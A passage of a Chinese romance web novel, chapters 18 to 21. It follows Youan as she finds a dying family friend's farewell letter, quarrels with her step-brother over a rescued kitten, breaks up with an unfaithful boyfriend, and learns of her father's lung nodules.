她记得母亲有许多古着,遂决定趁她不在,回去打劫。 尹晴的衣帽间不大,但论起古着,件件都是精品,柚安试了两个小时,挑了一件墨绿色丝绒吊带裙。 又记得母亲有对镀金圆环耳坠,装首饰的抽屉里没见着,便起身去卧室的梳妆台找。 片刻功夫,梳妆台真成了打劫现场,各种饰品盒被翻了个底朝天,就是没找到那对耳坠。 最后,她在抽屉最深处找到一个异常精致的紫檀木雕花首饰盒,料想就是了。 打开来一看,里面没有一件首饰,满满一叠卡片,上面是手写的食谱,那字迹工整娟秀,是赏心悦目的簪花小楷。 霸王花龙骨汤、花旗参乌鸡汤,粉葛赤小豆鲮鱼汤,花胶螺头乌鸡汤……每一张都是老火靓汤,足有二十八张。 柚安不由得想起孟姨,她在世时,煲得一手好汤,将柚安的胃收得服服帖帖。 难怪这些年,母亲炖的汤水越来越有熟悉的味道,原来是照着孟姨的食谱学的。 二十八张食谱依次翻开,最后是一封信件,信封背面写着“尹晴启”,一样漂亮的簪花小楷,只是笔锋较为虚浮,柚安内心一颤,料想是她病重时所写,不由得一阵伤怀。 她记得孟姨是个爽利乐观的人,病痛使她容颜蜡黄苍老,却带不走她眼底的神采,她总笑意盈盈,以至于柚安每次见到她,总是有种她正在康复,明天就会彻底痊愈的错觉。 当时尹晴的情况也不乐观,她的视力已经近乎为零,终日郁郁寡欢,连房门也不愿出。 只有孟姨来家里的时候,能够听到从母亲房里传来的笑声。 可是到了最后,病痛还是更胜一筹,那样一个春天般的人,终究被折磨地形销骨立,生机溃散。 柚安最后一次见孟姨时,恰逢她从手术室被推出来。 原本已找到了适合的肾源,但是她的情况突然急剧恶化,短时间内无法具备手术条件。 那天,病房的白炽灯异常冰冷,刺进病人浑浊的瞳孔,却激不起一丝涟漪。 柚安只看一眼,就忍不住大哭。 她不愿意接受,总是给她端来热汤,笑着叫她喝慢些的孟姨,变成了这样。 而林鸣修,与医生沟通过后,就始终默默站在床尾。 她不敢去看他的眼睛。因为那时,忽然有种想要去抱他的荒谬冲动。 思绪回笼,脸滚烫得像是发烧,柚安紧了紧肩上的披肩,缓缓坐下,背靠化妆椅,手里拿着那封信笺,实在难耐。 犹豫再三,她还是将信封打开,轻轻取出信纸,小心翼翼打开来。 整个过程,如做贼般冷汗淋淋。 第18章 他有自己热爱的事情吗?…… 阿晴: 我还有一点时间, 就打算给你写一封信。 炖汤的食谱是留给你的,不算权威,但柚安似乎很喜欢喝,等你眼睛好了, 不妨试试。 最近鸣修很开心, 他告诉我, 当年陷害祈年的那两个合伙人, 都已经锒铛入狱了。没有鹤堂一步一步在后提点, 他是无论如何也没有办法扳倒他们的。 他跟着鹤堂学了很多,还告诉我, 将来一定能把祈年留下的“绿色能源社区”计划投入实践。 那天他说了很多,可惜我已经没有办法集中精力太长时间, 所以只零星地记得这些。 你常说病痛是最不讲道理的,一味折磨人, 不管这人是好人还是坏人。 我也很不理解, 我常自问, 没做过任何一件伤天害理的事, 祈年的“罪”, 如今也证明是冤假错案,为什么还要一味地被惩罚? 问到现在, 已经没有心力再问了。 我不想耗了。 请接受我的一对眼角膜, 已问过医生, 它们符合捐献标准。 如果说还有什么,能够感谢你们全家救我们母子于危难的这份恩,便只有它们了。 鸣修已经二十二岁了,他从不让我担心。 即便我撒手人寰,他也能过得很好。 他就像野草, 即便世界末日,也能活下来。 我很欣慰,更加心疼。 眼看他把自己绷成一件武器,生命里只剩下报仇,和他父亲未尽的事业,我不知该说什么好。 他有自己热爱的事情吗?有喜欢的人吗?我一无所知。 恐怕,他自己也不知道。 每当看到柚安为她热爱的事情不遗余力,那副与全世界对抗的样子,我都好喜欢好喜欢,那孩子在发光不是吗?如果她想念音乐,何不让她念? 如果说还有什么心愿未了。 真希望鸣修也能活得恣意一把,去享受他所热爱的人生啊。 孟悦 二零一八年十二月十二日 信笺看完,柚安有一刹那恍惚,继而心跳如惊雷般落下。 落款时间正是孟姨的忌日,原来她是写完这封信后,自己走的…… 难怪当念,已经替自己安排好留学院校的父亲,忽然改了主意,让她去念音乐。 她叹了口气,赶紧收好信纸,以免眼泪砸在纸张上,留下印迹。 剩下的那个夜晚,她一直抱膝坐在那里,久远的记忆像秋风拂过森林。 最后,她万分小心地将紫檀木盒放回抽屉最深处,那一团昏黄的回忆被物归原主,她偷偷浅尝的这一口,苦味浅淡却绵长到似乎要伴其一生。 第二天,柚安推了黎燃的派对,独自在家做家务。 这场风把心鼓噪地太满了,不得不用琐事将体力耗尽,才能免于沉溺其中。 这天晚上,尹晴从深圳回来了。 柚安跑去前厅迎接,心中无由紧张,直到发现林鸣修根本没有回来。 她问尹晴:“那一位呢?” 不出意外吃了记暴栗。 尹晴说:“你大哥打算在深圳小住一段时间,我今天陪他看了几处独栋,都不错。” “小住还买房?”柚安撇嘴。 “我也是今天才知道的,他们父子两的事从不主动告诉我。四海打算在深圳开分公司,鸣修毛遂自荐去当开荒牛,打算在那里建‘绿色能源社区’的试点,所以决定买套房子,住也好,投资也好。” “哟,不在爸爸面前摇尾巴了?真难得,”柚安捂着额头,躲过又一记暴栗,抬头瞥着尹晴,弱弱地问,“他以后就住那了?” “他的家在这里。”尹晴郑重告诉柚安,“不过,可能这几年要base深圳了。无妨,开车就能往返,回来喝汤很方便的。” 那个项目,在孟姨的信中也有提到,是他父亲未尽的事业。 柚安沉默了两秒,扬起没心没肺的笑脸,“几年是多久?三五十年?” “你倒是想!”尹晴拍拍她的脑袋,进屋换衣服,“谁说的准呢?三五年总是有的吧。” “哇,太好了,可以清净这么久。”这话像是自言自语,因为声音不太,远不能传到尹晴的衣帽间里。 当天夜里,柚安在睡梦中,又回到了孟姨的病床前。 余光中的那抹身影犹在。 和那天一样,他穿一件黑色毛衣,身影寂寥得像孤峰孑立的雪松,仿佛肩头落满白雪。 梦中,她的目光一寸一寸逼近他的眼睛,镜头无比缓慢,那种荒谬的冲动再次降临,随着缓慢上升的视角,而愈发明确。 就在即将要触达之时,柚安猛地惊醒。 她攥紧被子,冷汗浸湿了后背。 之后的好些天,林鸣修都没有出现,日子如常过去,她也没再做那个梦。 “清明时节雨纷纷,路上行人欲断魂。”可能,这样的梦,只是这个特殊时节的短暂限定吧。 四月下旬,雷暴开始活跃,时有阵雨,空气湿暖,海风里总是裹挟着咸湿的水汽。 这天酒吧事少,下午六点,柚安找了个空,去拳馆看黎燃练拳。 恰逢拳馆搞公益活动,免费教社区儿童防身技能,尚未进门,已觉人声鼎沸。 此刻,教学已经结束,到了自由实践环节。 小朋友们不到大人腰高,被护具包裹得严严实实,所谓的自由实践,渐渐演变成疯闹追打。 柚安独自找了个人少的角落坐下,阔腿丹宁牛仔裤,乳白色亚麻背心的下摆随意系成蝴蝶结,露出纤细的腰线,外搭一件酒红色螺纹背心,墨镜取下来架在头顶。 黎燃一眼就看到她,伸臂朝她挥手,嘴角一扬,露出两颗鲨鱼鳍般虎牙。 在一众穿着统一拳馆背心短裤,满身护具的拳手之中,他依旧出众,头戴红色头盔,拳击手套也是红色的,两臂肌肉饱满有力。 三个小孩跑到他身后躲藏,边躲边抬头控诉:“他们犯规,叔叔帮忙!” 对方也是三个小孩子,挥着拳头追过来。 黎燃挡住对方的小拳头,用身体护住三个孩子,然后将身后的孩子揪出来,握住他们的手臂教他们反击的姿势。 “像这样,揍他!” “哈哈哈!” 两边的孩子玩得不亦乐乎。 柚安看着这一幕,笑出声来,她一点也不觉得这个一米八七的大高个,在一群小萝卜头中间有多违和,他本身就是个孩子王,很快身上就挂了一个。 对面的孩子眼看形势由强转弱,也连拉带拽请来了帮手。 另一个体形与黎燃相当的拳手被三双小手拖上来,加入了战局。 两个外援把鸡崽们护得太好了,几乎所有攻击都砸在他们身上。这种小拳头对于满身护具的肌肉男来说,跟雨点无异,但是他们仍然相当投入地格挡躲避,还分出余力来,手把手教小队员们进攻。 “勾拳,来,这样!” “来了来了,挡!” “左边,右边右边——” “挡得好!再来!” 顷刻间,所有孩子都涌了过来。 总共十多名,各自加入一队,都还没有外援的腿长,笑闹声充斥着整个拳馆。 “这些小孩真聪明啊,知道拉就拉个最强的。”柚安听到身旁观战的工作人员这样说,目光便由黎燃转向另一个拳手。 他是背对着她的,只能看到挥拳时,背阔肌嶙峋的纹路,身形比黎燃稍瘦一些,身法脚步游刃有余。 正入神时,交战双方跑闹着换了个边,拳手转身露出面容,竟然是林鸣修。 柚安的目光来不及收回,就这样撞进他孩子般笑着的眼睛里,那笑容令她想到汽水罐刚拉开时,迸溅的泡沫。 第一次见到他这样的一面,柚安不由得愣神。 林鸣修一抬头,与她目光交汇,笑容凝在嘴角,微微颔了颔首,脊背几分紧绷。下一秒,脚下不动声色地一旋,护着鸡崽转了个方向。 柚安在背后瞪他一眼,之后再也没有看他。 活动结束,黎燃去冲凉换衫,柚安则先行回车里等他。 她的红色超跑停在路边,见天气不错,便将敞篷降了下来。 不一会儿,那一帮小朋友也三三两两地出来了。走着走着,其中几个停在路边,围着一处草丛,不知道在干什么。 柚安勾下墨镜,撑着车窗边沿,好奇看去。 林鸣修和黎燃走在那帮小朋友的最后面,黎燃手里还拎着一个,两人边走边说笑。 暮日熔金,身后是漫天翻滚的云霞,颀长挺拔的两个人走在一起,即便随意,也有种逼人的气势。 草丛边的孩子看到他们走来,仰着脸将其拉住。 林鸣修走过去,跟孩子们一起蹲下,一个个头较小的女孩吭哧吭哧爬到他背上,他没回头,只轻轻颠了颠让其趴稳。 黎燃只稍稍看了一眼,跟林鸣修打声招呼,便转头奔向柚安的车。 临走前两人还碰了个拳,看得柚安一阵牙酸。 快要走到街边时,黎燃一个助跑,直接跳进后座,再从后座跨进副驾。 柚安下巴指了指远处,“他们在干嘛呢?” 黎燃说:“他们发现了一只受伤的流浪猫,不知道该怎么办,鸣修哥说送去宠物医院,我约了你吃饭的嘛,就先过来了。” “原来是猫啊,我还以为是发现恐龙蛋了呢,”柚安启动引擎,正要踩油门,忽然想到什么,转头看着黎燃,“鸣修哥?你们的关系什么时候突飞猛进的?” 黎燃揉了揉柚安的头发,“我那天在拳馆练拳,恰好碰到他,就打了一场,我被揍得服服的……” 柚安噗嗤一笑,“没出息。” 黎燃一点都不为打输了拳而生气,反而一脸神采奕奕,“他教了我很多技巧,我们还约着一起打拳,这家拳馆就是他介绍的。” “你说那天,是什么时候?” “上礼拜,怎么了?” “……没怎么。” 原来他上礼拜就回了,一直没有打上照面。 “叫他哥不过分吧,你生气啦?”黎燃知道柚安不喜欢林鸣修,他们之间不像仇人般眼红,也不是兄妹间的互看不顺眼,那种感觉很难说得清楚,“你不喜欢,我就不跟他玩了。” “小朋友吗?还不跟他玩儿了。” 柚安觑黎燃一眼,一脚踩上油门。 车在前方掉了个头,再次路经此处时,林鸣修已经站起身来,他怀里抱着个毛茸茸的小东西,身上吊饰似的挂了五六个。 柚安的目光横过去,一直到完全看不见了才收回来。 第19章 要不要,回头看一下我呢…… 转眼四月就要过完, 柚安没再见到过林鸣修。 偶尔在家吃饭时,林鹤堂会说起他来。原来分公司要处理的事物很多,他忙得不可开交。 尹晴多有埋怨,舍不得他离开。 林鹤堂亦想要将林鸣修留在总裁办, 但是料想, 鸣修应该很想在他生父当初耕耘的地方, 重建“绿色能源社区”, 因此便没有阻拦。 听父亲说, 三五年后,他带着分公司的功勋归巢, 彼时眼界跟手段,必定更上一层楼。 柚安觉得, 有根无形的鞭子抽在自己身上。 虽半分未提及自己,但那欣赏与谋划的反面, 仿佛处处是对自己的不做指望。 如此, 他走个三五年也好, 眼不见心不烦。 四月的最后一天, 林柚安踏着夜色回家, 一进家门就听尹晴说林鸣修回了,正在顶楼花园喂猫。 一定是他们救助的那条流浪猫, 柚安听黎燃说过, 那是只小乳猫, 被发现时,身上缠满了胶带,奄奄一息。 没想到小家伙命大,居然被救活了。 柚安怀着惊喜的心情,一路小跑上顶层, 想看看那只小猫长什么样。 月色下,林鸣修正坐在涌池边沿,身边一只乳白色小猫,正在舔食盘子里的牛奶。他手撑在小猫身后的蓝田玉边石上,微侧着脸,闲适地看着猫咪。 涌池水面铺满大片的紫色睡莲与碧绿莲叶,脚下的苔藓犹如一张会呼吸的地毯。虹吸系统不时带起一阵水雾,将月光稀释成一层缥缈的滤镜,衬得穿烟灰色休闲服的男人清隽斐然。 柚安迟疑半晌,终是抵不过小猫的可爱,唤了林鸣修一声,迈步过去。 男人闻声抬头,撑在小猫身后的手指不自觉屈了屈。 他的心神连日以来备受折磨,罪魁祸首正踏着月色走来,而她脚步轻盈愉悦,毫不知其有罪,这令他隐隐愤怒。 柚安今天穿了的是白色吊带裙,外搭一件浅黄针织衫,质地绵糯,衬得她肌肤皎白如月。 腕间一条银质手链,吊坠随走动而玲玲作响。 林鸣修想起若干年前,柚安的一次综艺演出现场。 那是一首中国风的歌,她自己包揽词曲跟演唱。 地脉沉吟般的前奏响起,她怀阮上台,丹蔻细指在弦间飞舞。满身环佩,彩段随墨发飘扬,赤脚,一个小巧的铜铃系在脚腕,叮铃作响。 千里之外的港城,暗黑书房中,林鸣修是最虔诚的信徒。他亲手剪辑只有她的每一帧画面,怀着渴求又自厌的扭曲心理。 “你就是那个小可怜呀。”柚安的声音已到近前。 小东西奶呼呼的,应该是毛茸茸的品种,但此时只有短短一层,应该是救助它时,剃了全身的毛,又新长出来的。 柚安还没来得及伸手,小家伙触电般一跃,扑进林鸣修怀里。 后者托着它的臀部,任针织的衣襟被抓出一道道浅痕,表情依旧是淡淡的。 “它对生人很戒备,”林鸣修说,“可能是被人欺负得狠了。” “乖乖。”柚安偏头看着它,掩不住怜惜与喜爱,“它是什么品种?” “是只布偶猫,据说还不足月。” 听到还不足月,柚安默默地将刚摸出来的烟盒收了回去。 林鸣修几不可察地一笑,这时候电话响了。 来电的是秘书,林鸣修并不避讳,当即接起来。 从他的话语间,不难听出,是找人领养猫的事。 柚安刹那间愕然又失望。 只见他一手温柔着回应着怀里小猫的拱蹭,一手拿着电话,说要将猫送人,表情是那样冷峻而淡漠。 和孩子们玩时那张纯粹而富有爱心的脸,顷刻间化作画皮。 等到通话结束,柚安忍不住嗔怪:“它还那么小,又防备人,我以为你会亲自养它,至少等它大点……” 林鸣修目光波澜不兴,“我又不喜欢小动物。” “……那可真是难为你救它了。” 柚安忍不住动气,自忖不如要过来养,但要了就要负责任的,她连自己都养得乱七八糟,遑论如此脆弱的小奶猫? 林鸣修像是知道她的心思,立马出口扼杀:“你也不要想,爸的肺你知道,家里最好不要养会掉毛的动物。” 怜爱的神色僵在眉间,柚安站直身子,心头不忿。 然而,可能是因为看过孟姨信的原因,那句冷血怎么也骂不出口。 她所看到的林鸣修,从别人口中听闻的他,还有孟姨信中他,既有交集又截然不同。 然而一个念头呼之欲出。 “喂,顾鸣修,”她低头睨着他,“你是不喜欢,还是不敢养?” 林鸣修眼底掠过一道阴翳。 微咸的海风将池水揉皱,也织就他眼底朦胧的波纹。 柚安轻笑着道:“小猫最多只能陪你二三十年,总要先一步走的,对吧?” 当一件美好的东西靠近时,大部分人会想到拥有,而少数人会率先想到失去。 她如今竟也有些理解这种矛盾的心理了。 当然,也可能只是她一厢情愿的臆想,无所谓。 林鸣修抬头,与她目光交汇,冷淡的眸底,有什么在烧着。 柚安心想,他一定在意外,这么多年终于听她对自己说了一句人话。 “咳咳,那这样吧,让黎燃领回去养,他家有只哈士奇,养猫应该也不在话下。”她伸出指头轻轻点了点小猫的脑袋,“好不好呀?”后者立即整个钻进林鸣修衣服里,只留一直小爪揪着他衣襟。 柚安目光追近,只见一只毛茸茸的脑袋蜷在一片结实的胸膛里。 还挺会找地方撒娇的…… 男人身体后仰,与她拉开距离,眼底像极速衰亡的火山,迅速冰封。 半晌,他唇角微勾,冷不丁转移话题问她:“和黎燃在一起幸福吗?” “那还用说?” 柚安一秒都没有思考,满面人间四月的春风。 然而对方并没有撤回那冷得刺骨的注视,那注视好像在问:“真的吗?” 他看她看得有点久了,第一次这样明目张胆。 大抵是因为,马上就要去深圳了。不仅仅是距离上的禁锢,他决心不再管她,饿出胃病也好,暴饮暴食也好,跟谁谈恋爱,谈得一身伤都好,他这一抽离,便不会再回头。 所以,最后一次,他眸光冷冽,带有审视,咬定她一点一点敛起笑意的眼睛,一秒,两秒……直到她心虚地将视线别开。 “到底行不行?给个话。”柚安声音干涩,僵硬地将话题扯回。 “不行。”林鸣修冷淡地说,目光仍未放过她。 “……不行就算了。” 柚安撇撇嘴,想到他人就快要走了,也生不起来多大的气。 再一想,不成全她的私心,也是应该的。 他不可能一辈子对她有求必应。 “我走啦。”她最后倾身,揉了一把小猫探出来的脑袋。 猫跟主人一样小气,飞快地缩了回去,“喵呜”几声,好像受了多大的委屈似的。 那一团独属于柚安的幽香气息刹那间逼近,令林鸣修差一点打碎这些天一点一点亲手建立起来的铁律,任他那恶劣的想法,将一切燃烧殆尽。 随着她转身走远,一个不受控的声音在林鸣修脑海里响起: 要不要,回头看一下我呢? 哪怕一次,也足够变天. 林栖落地港城的那一天,柚安刚好要跟一个酒水商谈事情,于是林鸣修充当了司机。 餐厅定在阳明山顶,户外的餐桌铺上格子桌布,桌面摆放一簇浅紫与嫩白相间的风铃花,复古的油灯亮着琥珀色的光,这个季节的山风微凉湿润,纵眼望去,维多利亚港璀璨的灯火尽收眼底。 柚安谈完事情,直奔餐厅,二人也才刚到不久。 料想会喝酒,所以没有开车。 一路大步走来,她笑得比坡道两旁炸开的凤凰木还要粲然。 “比上次见你时,漂亮多了!”林栖拉着她的手,开心地说。 柚安不避讳夸赞,撩了撩头发,“那还用说。” 林鸣修没有要落座的意思,林栖见他要走,不免诧异,“大哥不一起吃吗?” 林鸣修礼貌回答:“有点事情需要赶回去处理,一会儿再回来接你们。” 再交代几句,便走了。 林栖知道他在港城是何身份,这样一位人物充当她们随叫随到的司机,她始终有点不能理解。 柚安嗔道:“我都不叫他大哥,你叫什么大哥啊?你叫他林先生啊,林鸣修都行。” 彼时林鸣修还未走出视线,林栖不由得皱眉,“嘘。” 柚安无奈放低声音,“总之,他不是我亲大哥,你也别觉得我俩关系怎么好,其间冤孽多了去了。你叫他大哥,我会掉一地鸡皮疙瘩。” “知道了,你们豪门恩怨我不懂,”林栖笑道,“黎燃呢?不是说带给我过目吗?” “他乐队有个演出,得晚一点了,我们先吃,明天他请客补你一顿。” 时间赶得紧,没有办法。林栖也不拘泥这点小结,开心地应了声“好”。 侍者端上餐厅最有名气的战斧牛排,配酒是西班牙雪莉酒,Manzanilla,质地轻盈,带有海风与杏仁的味道,以及一种微妙的矿物感,清冷咸香。 两人吃着牛排,柚安问:“打算待几天?” “后天跑完马拉松就走了,最近工作室有点忙。”林栖轻托郁金香杯,抿了一小口,露出欣赏的表情,“对了,陆野也中签了,但是临时有事要处理,来不了了。” 言下之意,他不是故意避而不见的。 “对啊,他也喜欢跑步,不过你俩一起出现在现场,是要玩儿死主办方吗?”柚安一口喝掉半杯酒,挥了挥手说,“无所谓啦,难道还能作朋友吗?” 两人碰了个杯,又谈笑起来,从当年一起参加综艺的选手跟导师,聊到时下热门明星的八卦,说到兴奋处,笑个没完。 夜色渐浓,山雾随着晚风漫上来,空气是湿润的。 就在牛排吃得差不多时,远处走来一道身穿机车服的高大男子。 “柚安!”那男子朝这边挥手,眼睛一笑,如星辰般璀璨。 “介绍一下,他就是黎燃。”柚安笑眯眯地看向林栖。 然而后者却吃惊地说不出话来。 “你好,你的歌在我们这边也很红。”黎燃露出标志性的笑容,举杯对林栖说。 林栖眨了眨眼,目光凝滞在黎燃脸上,像是在确认什么。 半晌,又转向柚安,饱含疑惑与不忍。 骤然间地安静,让一切欢声笑语哑然退场,又于无声处,掀起一道暗潮。 第20章 “那次我想吻你的时候,…… “喂呀, 你傻了?怎么不说话?”柚安蹙着眉,手在林栖眼前晃了晃。 然而并没有结束这场无声的审判。 她想起几天之前,林鸣修在天台看她的神情。 那底色大抵是相同的,不同的是, 林鸣修看她的眼神少了几分惊异, 多了几分了然, 仿佛他已经隔岸观火许久了。 为什么身边的人都如此敏锐, 搞得自己好像是课堂上偷吃零食的学生, 自以为藏得天衣无缝,殊不知人家站在讲台上, 什么偷鸡摸狗都看得清清楚楚。 林鸣修尚可以糊弄过去,但被林栖这样瞧着, 有种难以忍受的羞愤感。 笑容寸寸收敛,她以目光对峙, 回应对方惊诧过后的悲悯。 忽然黎燃手机铃响, 打破了僵局。 “哦, 是乐队那边, 抱歉失陪一下。”黎燃拿着电话走远。 气氛早已由最初的热络, 凝固成一滩焦油坑。 柚安垂眸,端起酒杯, 一仰头喝完剩下半杯酒, “既然这样, 也没什么好叙旧的了,你好扫兴。” “柚安,我有点担心你。” “好了,”柚安抢过林栖的话,“别说了。” 既不想说开, 也无法承认。 两边都是。 怪她们太有默契,连言语也不需要,就知道对方想什么,也知道对方不想去想什么。 哪怕一方钝一点呢?这场面也不至于如此狼藉。 林栖终是先起身,“谢谢款待,我先回酒店了。” 柚安不做挽留,人就这样走了。 沿坡道下山,林鸣修的车正停在路边,他背靠车身,见林栖过来,绕到副驾为她开门。 仿佛早有预料,他人也根本没走。 林栖愣了一下,颔首致谢:“林大哥费心了。” 还保持这样的称谓,这令林鸣修有些意外。 等车开上公路,他忍不住说:“柚安从来直呼我姓名,你也可以跟着她这么叫。” 林栖微笑道:“我的尊重不会因为她跟您的关系而收回。” 这份天然的尊重,也不来源于林鸣修的身价和地位,而是来源于他这个人。 那一年,林柚安和林栖还是同一个综艺上竞争的新人,两人远谈不上朋友,浅淡疏远的关系,因为一个男人而多了一分微妙。 不巧柚安一身是血,狼狈地从酒店旋转门逃出来时,正好被林栖看到。 她身后追着几名人高马大的外国壮汉,林栖什么也没问,替她打开车门,一路狂奔。 最后,柚安总算被安全送到家,听她说完前因后果,林栖冷汗直流,这种状况已经远超出她所能处理的范围。 “那个皮耶会不会报警?需不需要我帮你打个电话回家?” “干什么都行,就是别通知我的家人。”柚安从浴室出来,不知道用了多大的力气,皮肤被搓到通红渗血。 丢下这句话,她倒头就睡。 纵使没打一通电话,这样的狗血大新闻,还是不日传遍大街小巷 第二天,柚安被警方传唤,林栖怕她跟皮耶对峙,会触发心里阴影,本着惨都惨和了,送佛送上西心态,便陪柚安同去。 两方在警局门口狭路相逢,皮耶带了庞大的法务团队,大有将两个女孩生吞活剥的架势。 就在此时,一辆劳斯莱斯杀到近前,车门打开,浩浩荡荡一队人马,皆是黑衣黑裤,西装革履。 后座车门豁然拉开,一丝不苟的黑色三件套,衬得男人身形挺括,气势逼人。 那是林栖唯一一次与林鸣修打照面。 她第一次直观地感受到柚安的家底,和她那惹天惹地背后的底气。 那一天,她见识到了柚安家大哥,是如何在这宗国际知名人士被袭案中,游刃有余地斡旋谈判,最后令得不可一世的白人老头放弃提告,点头哈腰送他出门的。 只不过老头的运气不太好,据说住院养伤期间被人打了,回国以后各种桃色新闻都被挖了出来,官司不断,短短半年时间,从蜚声国际到查无此人。 如此人物,林栖实在没有办法按柚安所说,直呼其名。 这一句“大哥”,也是感谢他处处替柚安兜底。 夜色四弥,车内气氛放松下来,因有了共同关心的人,而脱离了一开始的客套。 林鸣修望着前方暮色,开口道:“我猜你已经见过黎燃了。” 原来他早有预料。 林栖打从见到他守候在此,就知他洞若观火。柚安的事,搞不好他比自己还清楚,如此,便不打算隐瞒。 “他们太像了,不是吗?”她终于说出来。 林鸣修表情平淡,不置可否,“像不好吗?有人将刘德华视为择偶标准,有人将梁朝伟视为择偶标准,怎么就不能有人将陆野视为择偶标准?再者,如果她不是看脸,是真心喜欢这个人呢?” “那自然最好,可是……一个钻牛角钻了五年还不肯放下的人,会这么快投入新的恋情,情绪状态一百八十度大转变吗?”林栖忖了忖道,“其实如果两个人在一起,能够开心快乐一辈子,管他是出于什么理由开始的呢?怕就怕得到慰藉之后,变本加厉地空虚与自憎。以您对柚安的了解,她会吗?” 车驶过港岛璀璨的街头,林鸣修目光空寂,平声说:“不会。” 林栖没有在港城久留,跑完马拉松当天就走了。 林鸣修送她到机场,提起柚安,免不了要替她解释:“柚安不是生气没来,只是——小孩子那种,恼羞成怒,不敢见你。” “其实她胆子小得很。” 林栖闻言笑出声。 “怎么了?” “看到柚安有位这么宠她的大哥,感觉我之前的担心多余了。走啦,希望下次相聚,可以一起坐下来吃顿饭。” 林栖挥了挥手,推着行李步入机场大厅。 林鸣修很久都不敢去回味这句话。 半晌,他拨通电话跟柚安知会了一声,说林栖走了。 电话那头,柚安只是意兴阑珊说了句“哦”。 第二天,林鸣修赴往深圳。 往后的日子风平浪静,柚安跟黎燃的关系,并没有因为这一次小风波而有所改变,她甚至更加容光焕发。 大抵因为林鸣修不在,所以神清气爽。 酒吧的运营趋于稳定,流水比预期要好。 柚安的经营极具个人风格,她挑选自己欣赏的小众歌手和乐队,每周都有表演,久而久之,酒吧成了音乐爱好者的聚集地,一大批志同道合的人,来这里不止寻个消遣,也当做归宿。 午后,她来到店里。 这个时间还没有正式开业,跟往常一样,先转一圈,检查清洁情况,以及一些装饰陈列,再去吧台听领班汇报前一天的营业状况。 领班调了杯新品,金酒打底,杯口装饰有应季的荷花花瓣,金粉铺就,前调口感轻薄,清甜,中调有茉莉花的苦香,后调回甘。听其介绍完详细步骤和材料后,柚安点头,“就叫夕照荷塘吧。” 最后,转去后场办公室听阿谨汇报账目。 这个部分最头疼,还有有阿谨悉心解惑。 后者汇报完,递给柚安一个信封,说是早晨,一位妙龄女郎登门,让交给她的。 听他一番形容,柚安确定不是自己认识的人,她怀着好奇撕开信封,几张照片掉落出来,柚安目光划过,表情一刹那凝固。 阿谨下意识弯腰去拾,看到内容的瞬间,动作也僵住,急忙找了个借口,红着脸退了出去。 后场办公室滞焖奥热,冷气坏了,老旧的风扇吱吱呀呀,在那几张香艳的照片上投下转动的阴影,照片上,黎燃的脸随之忽暗忽明。 柚安楞了数秒,随后将散落的照片一把捞起,倒扣在桌上。 想了想,随手抽出一张,拍了个照发给黎燃。 照片中,他的面部表情不甚清晰,骑在他身上的女人后背裸着,腰际纹了一圈法文,身姿无比曼妙。 半小时后,黎燃急吼吼地感到,冲进办公室就跟柚安解释:“我昨天在派对上喝醉了,醒来就发现……” 办公室一片凌乱,桌上的东西已被悉数扫到地上,那只柚安爱用的黑瓷咖啡杯,也未能幸免,碎成了渣。 柚安眼圈红着,情绪翻涌,“喝醉了就能做出这种事吗?野狗才会乱发情。” “对不起,我根本什么都不记得,”黎燃头痛欲裂,“那个女的我都不认识!” “分手吧。”柚安双手撑在桌上,泪水滚落。 说出这三个字,忽然觉得很讽刺。算在一起过吗?他们就像玩家家酒的小孩子,互相喜欢就拿根狗尾巴草编成戒指,不喜欢了就再说。以至于“分手”这种沉重的字眼,听上去都不太有分量。 黎燃满脸胀红,宿醉的余威还在折磨着他,剧痛的脑神经令他无从思考。 “再给我一次机会吧。”他扶着额说,像证据确凿的罪人,放弃辩护,祈求轻判。 然而此刻任何话语都淡而无味,无法触达听者心底。 香甜鲜美的水果,腐坏只在眨眼之间。柚安想不通,是变数来得太快,还是自己的心变得太快,总之,对新恋情的向往,就这样烂掉了。 “你走吧,我暂时不想看见你。” 也许是冰冷的语气触发了男人的自尊,黎燃愤而反击,质问她:“别说得好像你受了天大的委屈一样,你就一点错没有吗?” “你还气上了?”柚安不可理喻地看着他,“难不成跟别人睡的人是我?你真好笑!” 她伶牙俐齿,吵架没输过。 黎燃愈加歇斯底里,抱着鱼死网破的心理,将两人之间早就存在的细小裂缝,一脚跺成科罗拉多大峡谷。 “我不能生气吗?林柚安,你真的爱我吗?你没出轨,但你认真过吗?那次我想吻你的时候,你说过什么!敢再说一次吗!” 柚安一凛,浑身血液滚烫,一句话也说不出来。 几句话,原告与被告完全调转,黎燃完完全全抓住了主控权,愤怒的控诉中携了三分讥诮: “我得有多喜欢你,才能一直说服自己忘记这句话?一再给你时间跟机会?林柚安,这段关系里,你比我随便多了!” 结案陈词一出,双方都没了话语,柚安目光收敛,全无还手的余地。 此刻,办公室门口,从深圳风尘仆仆赶回的男人已静静站立了许久。 黎燃气冲冲破门而出,与他撞了个正着,惊诧一瞬,什么也说,大步踏出店外。 柚安跟着出来,一双眼睛像揉碎了的鸢尾花瓣。 “抱歉,我来得不是时候,”没有一句安慰的话,林鸣修看她一眼,淡声说道,“爸让我们回家一趟,现在。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 20-30 第21章 “你的嘴巴不像他。”…… 柚安跟在林鸣修身后上了他的车。 什么鬼样子都刚好让他撞见, 简直就是一部行走的“林柚安丢脸记录仪”。 但是现在,再丢脸的事都要靠边站。 “爸的检查结果不好吗?”她一边拉过安全带一边问林鸣修。 林鹤堂昨天复查了胸部CT,大半个月没消息的林鸣修突然回来,还亲自驾车来接, 这一切令她隐隐感觉到不妙。 “结果有点不好。”林鸣修启动引擎。 “……多不好?” “双肺多发磨玻璃结节, 最大的是右肺上叶一处, 直径22毫米, 爸打算尽快手术, 给它切了。” 林柚安愕然,这一天的种种, 让她感觉像是掉进了某个愚人节陷阱,太突然, 太有戏剧化。 自从林鹤堂上次体检出肺部结节,她就在各大互联网平台, 专业刊物, 以及医用问诊APP里打转, 练得连胸部CT都会看个一二。 几年前的一场恶役, 不少人经历肺部感染, 免疫系统在大战后留下疮痍,使得后来很多人体检出肺部结节。 再加上林鹤堂在那次体检后, 立刻委托基因公司对其血液进行肿瘤筛查分析, 结果肿瘤概率不大。 她明明已经安下心了。 车内寂静, 两人一时无话。 林柚安的大脑一片空白,她从化妆包里拿出卸妆棉,快速而粗暴地擦去花掉的妆容。 “是陈年性疤痕吧,”她木着脸说,“没事的, 这种切除结节的手术很常见,具体什么性质,还是得术中去标记物检测,才能得出结果。” 各种资料、案例充塞在脑海里,她勉力捡出可堪自我安慰的,可手不听使唤,几乎颤抖到握不住棉片。 